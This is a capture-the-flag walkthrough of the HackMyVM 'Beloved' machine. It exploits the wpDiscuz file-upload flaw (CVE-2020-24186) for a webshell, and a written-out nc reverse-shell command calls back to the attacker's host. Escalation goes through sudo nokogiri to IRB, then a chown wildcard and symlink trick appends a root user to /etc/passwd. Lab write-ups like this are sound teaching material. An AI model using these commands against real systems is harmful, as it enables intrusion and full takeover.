This is Beloved. It’s Easy rated.

Ports

Just SSH and HTTP only.

HTTP

It’s wordpress, so we need wpscan. Kali hates wpscan for some reason; it used to work but now no dice. Presumably some update killed it:

┌──(root💀kali)-[/opt/hackmyvm/beloved]
└─# wpscan -h
Traceback (most recent call last):
        12: from /usr/bin/wpscan:25:in `<main>'
        11: from /usr/lib/ruby/vendor_ruby/rubygems.rb:298:in `activate_bin_path'
        10: from /usr/lib/ruby/vendor_ruby/rubygems.rb:298:in `synchronize'
         9: from /usr/lib/ruby/vendor_ruby/rubygems.rb:299:in `block in activate_bin_path'
         8: from /usr/lib/ruby/vendor_ruby/rubygems/specification.rb:1372:in `activate'
         7: from /usr/lib/ruby/vendor_ruby/rubygems/specification.rb:1390:in `activate_dependencies'
         6: from /usr/lib/ruby/vendor_ruby/rubygems/specification.rb:1390:in `each'
         5: from /usr/lib/ruby/vendor_ruby/rubygems/specification.rb:1408:in `block in activate_dependencies'
         4: from /usr/lib/ruby/vendor_ruby/rubygems/specification.rb:1372:in `activate'
         3: from /usr/lib/ruby/vendor_ruby/rubygems/specification.rb:1390:in `activate_dependencies'
         2: from /usr/lib/ruby/vendor_ruby/rubygems/specification.rb:1390:in `each'
         1: from /usr/lib/ruby/vendor_ruby/rubygems/specification.rb:1402:in `block in activate_dependencies'
/usr/lib/ruby/vendor_ruby/rubygems/dependency.rb:313:in `to_specs': Could not find 'ethon' (~> 0.9.0) - did find: [ethon-0.15.0] (Gem::MissingSpecVersionError)
Checked in 'GEM_PATH=/root/.local/share/gem/ruby/2.7.0:/var/lib/gems/2.7.0:/usr/local/lib/ruby/gems/2.7.0:/usr/lib/ruby/gems/2.7.0:/usr/lib/x86_64-linux-gnu/ruby/gems/2.7.0:/usr/share/rubygems-integration/2.7.0:/usr/share/rubygems-integration/all:/usr/lib/x86_64-linux-gnu/rubygems-integration/2.7.0' , execute `gem env` for more information
        12: from /usr/bin/wpscan:25:in `<main>'
        11: from /usr/lib/ruby/vendor_ruby/rubygems.rb:298:in `activate_bin_path'
        10: from /usr/lib/ruby/vendor_ruby/rubygems.rb:298:in `synchronize'
         9: from /usr/lib/ruby/vendor_ruby/rubygems.rb:299:in `block in activate_bin_path'
         8: from /usr/lib/ruby/vendor_ruby/rubygems/specification.rb:1372:in `activate'
         7: from /usr/lib/ruby/vendor_ruby/rubygems/specification.rb:1390:in `activate_dependencies'
         6: from /usr/lib/ruby/vendor_ruby/rubygems/specification.rb:1390:in `each'
         5: from /usr/lib/ruby/vendor_ruby/rubygems/specification.rb:1408:in `block in activate_dependencies'
         4: from /usr/lib/ruby/vendor_ruby/rubygems/specification.rb:1372:in `activate'
         3: from /usr/lib/ruby/vendor_ruby/rubygems/specification.rb:1390:in `activate_dependencies'
         2: from /usr/lib/ruby/vendor_ruby/rubygems/specification.rb:1390:in `each'
         1: from /usr/lib/ruby/vendor_ruby/rubygems/specification.rb:1401:in `block in activate_dependencies'
/usr/lib/ruby/vendor_ruby/rubygems/specification.rb:1404:in `rescue in block in activate_dependencies': Could not find 'ethon' (~> 0.9.0) among 203 total gem(s) (Gem::MissingSpecError)
Checked in 'GEM_PATH=/root/.local/share/gem/ruby/2.7.0:/var/lib/gems/2.7.0:/usr/local/lib/ruby/gems/2.7.0:/usr/lib/ruby/gems/2.7.0:/usr/lib/x86_64-linux-gnu/ruby/gems/2.7.0:/usr/share/rubygems-integration/2.7.0:/usr/share/rubygems-integration/all:/usr/lib/x86_64-linux-gnu/rubygems-integration/2.7.0' at: /usr/share/rubygems-integration/all/specifications/cms_scanner-0.13.6.gemspec, execute `gem env` for more information

Yeah well that’s great.

┌──(root💀kali)-[/opt/hackmyvm/beloved]
└─# apt purge wpscan                                                                       
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following packages were automatically installed and are no longer required:
  ruby-activesupport ruby-cms-scanner ruby-concurrent ruby-ethon ruby-ffi ruby-get-process-mem ruby-i18n ruby-opt-parse-validator
  ruby-progressbar ruby-typhoeus ruby-tzinfo ruby-yajl ruby-zeitwerk
Use 'apt autoremove' to remove them.
The following packages will be REMOVED:
  wpscan*
0 upgraded, 0 newly installed, 1 to remove and 0 not upgraded.
After this operation, 406 kB disk space will be freed.
Do you want to continue? [Y/n] y
(Reading database ... 380789 files and directories currently installed.)
Removing wpscan (3.8.20-0kali2) ...
Processing triggers for man-db (2.9.4-2) ...
Processing triggers for kali-menu (2021.4.2) ...
┌──(root💀kali)-[/opt/hackmyvm/beloved]
└─# apt install wpscan                                                                     
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following NEW packages will be installed:
  wpscan
# etc etc

Did that fix it? Lol no. Plan B: purge and then….

┌──(root💀kali)-[/opt/hackmyvm/beloved]
└─# gem install wpscan 
Fetching ethon-0.9.1.gem
Fetching wpscan-3.8.20.gem
Fetching concurrent-ruby-1.1.9.gem
Successfully installed ethon-0.9.1
Successfully installed concurrent-ruby-1.1.9
Successfully installed wpscan-3.8.20
Parsing documentation for ethon-0.9.1
Installing ri documentation for ethon-0.9.1
Parsing documentation for concurrent-ruby-1.1.9
Installing ri documentation for concurrent-ruby-1.1.9
Parsing documentation for wpscan-3.8.20
Installing ri documentation for wpscan-3.8.20
Done installing documentation for ethon, concurrent-ruby, wpscan after 5 seconds
3 gems installed

Did that fix it? Yes, hooray.

┌──(root💀kali)-[/opt/hackmyvm/beloved]
└─# wpscan -e --url http://192.168.1.73  --api-token NAH_BRAH --plugins-detection aggressive
# etc
| [!] Title: Comments - wpDiscuz 7.0.0 - 7.0.4 - Unauthenticated Arbitrary File Upload
 |     Fixed in: 7.0.5
 |     References:
 |      - https://wpscan.com/vulnerability/92ae2765-dac8-49dc-a361-99c799573e61
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-24186
 |      - https://www.wordfence.com/blog/2020/07/critical-arbitrary-file-upload-vulnerability-patched-in-wpdiscuz-plugin/
 |      - https://plugins.trac.wordpress.org/changeset/2345429/wpdiscuz
# etc

Yeah, that’ll do.

┌──(root💀kali)-[/opt/hackmyvm/beloved]
└─# ./exploit.py -u http://beloved -p /2021/06/09/hello-world/
---------------------------------------------------------------
[-] Wordpress Plugin wpDiscuz 7.0.4 - Remote Code Execution
[-] File Upload Bypass Vulnerability - PHP Webshell Upload
[-] CVE: CVE-2020-24186
[-] https://github.com/hevox
--------------------------------------------------------------- 

[+] Response length:[51681] | code:[200]
[!] Got wmuSecurity value: 8a7a1fff04
[!] Got wmuSecurity value: 1 

[+] Generating random name for Webshell...
[!] Generated webshell name: lclrllrwcivibto

[!] Trying to Upload Webshell..
[+] Upload Success... Webshell path:url&quot;:&quot;http://beloved/wp-content/uploads/2021/12/lclrllrwcivibto-1640165637.6884.php&quot; 

> whoami

[x] Failed to execute PHP code...

D’oh! Nevermind, the file is still there.

GET http://beloved/wp-content/uploads/2021/12/lclrllrwcivibto-1640165637.6884.php?cmd=rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.1.210+1234+>/tmp/f HTTP/1.1

Shell time:

┌──(root💀kali)-[/opt/hackmyvm/beloved]
└─# nc -nvlp 1234  
listening on [any] 1234 ...
connect to [192.168.1.210] from (UNKNOWN) [192.168.1.73] 49890
/bin/sh: 0: can't access tty; job control turned off
$ python3 -c 'import pty;pty.spawn("/bin/bash");'
www-data@beloved:/var/www/html/wordpress/wp-content/uploads/2021/12$

Privesc

A few slightly different things here. Firstly, nokogiri:

www-data@beloved:/tmp$ sudo -l
sudo -l
Matching Defaults entries for www-data on beloved:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on beloved:
    (beloved) NOPASSWD: /usr/local/bin/nokogiri
www-data@beloved:/tmp$

What the hell is that? GTFOBins doesn’t have an entry. It’s a Ruby XML parser, uh yay I guess.

www-data@beloved:/tmp$ sudo -u beloved /usr/local/bin/nokogiri https://www.google.com
<oved /usr/local/bin/nokogiri https://www.google.com
Your document is stored in @doc...
irb(main):001:0> system("bash")
system("bash")
beloved@beloved:/tmp$ whoami
whoami

For some reason that I couldn’t be bothered reading about, putting a URL gives you an IRB (interactive Ruby) prompt, so let’s just go with that.

Root

I noticed we owned /opt, so I ran pspy64 in case there was a cron - something funny was going on. Sure enough:

2021/12/22 11:11:01 CMD: UID=0 PID=31493 | /bin/sh -c cd /opt && chown root:root *

I don’t recall doing this before but we can take advantage of this wildcard.

We need a file that get’s chowned to root, plus a reference and a symlink. First, we create our empty file (called reference in this case), and wait for the cron to fire:

beloved@beloved:/opt$ touch reference
beloved@beloved:/opt$ ls -lash
total 12K
4.0K drwxrwx---  2 root    beloved 4.0K Dec 22 11:28 .
4.0K drwxr-xr-x 18 root    root    4.0K May 19  2021 ..
4.0K -rw-------  1 beloved beloved 1.8K Jun 27 16:41 id_rsa
   0 -rw-r--r--  1 beloved beloved    0 Dec 22 11:28 reference
beloved@beloved:/opt$ date
Wed 22 Dec 2021 11:28:51 AM CET
beloved@beloved:/opt$ ls -lash
total 12K
4.0K drwxrwx---  2 root beloved 4.0K Dec 22 11:28 .
4.0K drwxr-xr-x 18 root root    4.0K May 19  2021 ..
4.0K -rw-------  1 root root    1.8K Jun 27 16:41 id_rsa
   0 -rw-r--r--  1 root root       0 Dec 22 11:28 reference

Now we can create our actual ‘reference’ (the names are slightly poorly chosen here, the first thing probably should’ve been called something else) plus our symlink to /etc/passwd:

beloved@beloved:/opt$ touch -- --reference=reference && ln -s /etc/passwd something
beloved@beloved:/opt$ ls -lash
total 12K
4.0K drwxrwx---  2 root    beloved 4.0K Dec 22 11:29  .
4.0K drwxr-xr-x 18 root    root    4.0K May 19  2021  ..
4.0K -rw-------  1 root    root    1.8K Jun 27 16:41  id_rsa
   0 -rw-r--r--  1 root    root       0 Dec 22 11:28  reference
   0 -rw-r--r--  1 beloved beloved    0 Dec 22 11:29 '--reference=reference'
   0 lrwxrwxrwx  1 beloved beloved   11 Dec 22 11:29  something -> /etc/passwd

Now we can add my old mate root2 and we’re away:

beloved@beloved:/opt$ echo "root2:WVLY0mgH0RtUI:0:0:root:/root:/bin/bash" >> something
beloved@beloved:/opt$ su root2
Password: 
root@beloved:/opt# cd /root
root@beloved:~# ls -lash
total 60K
4.0K drwx------  8 root root 4.0K Jun 27 17:50 .
4.0K drwxr-xr-x 18 root root 4.0K May 19  2021 ..
4.0K -rw-------  1 root root  371 Jun 27 17:50 .bash_history
4.0K -rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
4.0K drwx------  3 root root 4.0K Jun  9  2021 .cache
4.0K drwxr-xr-x  3 root root 4.0K Jun 27 10:04 .gem
4.0K drwx------  3 root root 4.0K Jun 10  2021 .gnupg
4.0K drwxr-xr-x  3 root root 4.0K May 24  2021 .local
4.0K -rw-------  1 root root 1.1K Jun 27 10:23 .mysql_history
4.0K drwxr-xr-x  4 root root 4.0K Jun 10  2021 .npm
4.0K -rw-r--r--  1 root root  148 Aug 17  2015 .profile
4.0K -rw-r--r--  1 root root   33 Jun 27 17:09 root.txt
4.0K -rw-r--r--  1 root root   66 Jun 27 16:06 .selected_editor
4.0K drwx------  2 root root 4.0K Jun 27 17:32 .ssh
4.0K -rw-r--r--  1 root root  173 Jun 11  2021 .wget-hsts
root@beloved:~#

Yes, ‘easy’ but not trivial and a bit left-field so worth making some notes on.